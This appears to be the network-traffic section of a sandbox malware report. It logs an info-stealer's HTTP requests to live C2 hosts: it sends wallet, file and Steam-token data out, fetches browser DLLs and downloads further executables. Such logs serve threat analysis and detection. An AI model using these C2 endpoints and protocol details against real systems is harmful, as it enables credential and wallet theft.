Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="file"------IIJJDGHJKKJEBFHJDBGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDHHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCFBAKKJDBKJJJKFHDAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 2d 2d 0d 0a Data Ascii: ------GCFBAKKJDBKJJJKFHDAEContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------GCFBAKKJDBKJJJKFHDAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCFBAKKJDBKJJJKFHDAEContent-Disposition: form-data; name="file"------GCFBAKKJDBKJJJKFHDAE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHDGIEHJJJJEBGDAFHJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 2d 2d 0d 0a Data Ascii: ------IDHDGIEHJJJJEBGDAFHJContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------IDHDGIEHJJJJEBGDAFHJContent-Disposition: form-data; name="message"wallets------IDHDGIEHJJJJEBGDAFHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGCFCFHCFHIECAEHDHHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 2d 2d 0d 0a Data Ascii: ------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="message"files------BFBGCFCFHCFHIECAEHDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDAKFBFBFBAAAAAEBKJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 2d 2d 0d 0a Data Ascii: ------HJDAKFBFBFBAAAAAEBKJContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------HJDAKFBFBFBAAAAAEBKJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HJDAKFBFBFBAAAAAEBKJContent-Disposition: form-data; name="file"------HJDAKFBFBFBAAAAAEBKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHDGHJEBGIDGDGIJJKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="message"ybncbhylepme------GHDHDGHJEBGIDGDGIJJK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDHJEGIEBFHDGDGHDHIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 2d 2d 0d 0a Data Ascii: ------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGDHJEGIEBFHDGDGHDHI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 37 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006723001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 37 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006724001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sat, 16 Nov 2024 17:58:42 GMTIf-None-Match: "6738dd52-1b4200"
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 37 39 33 35 37 33 30 46 41 30 32 37 34 30 37 32 35 36 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="hwid"FD7935730FA02740725608------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="build"mars------KKFHJDAEHIEHJJKFBGDA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 37 32 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006725031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 37 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006726001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 37 39 33 35 37 33 30 46 41 30 32 37 34 30 37 32 35 36 30 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="hwid"FD7935730FA02740725608------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="build"mars------IIJJDGHJKKJEBFHJDBGH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: 